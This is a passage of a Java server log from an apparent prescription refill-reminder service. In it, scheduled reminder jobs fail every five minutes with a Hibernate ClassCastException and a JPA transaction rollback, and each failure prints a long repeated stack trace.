org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 15:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 15:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 15:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 15:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 15:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 15:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 15:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 15:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 15:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 15:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 15:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 15:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 15:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 15:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 15:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 15:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 15:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 15:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 15:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 15:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 15:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 15:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 15:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 15:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 15:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 15:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 15:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 15:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 15:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at 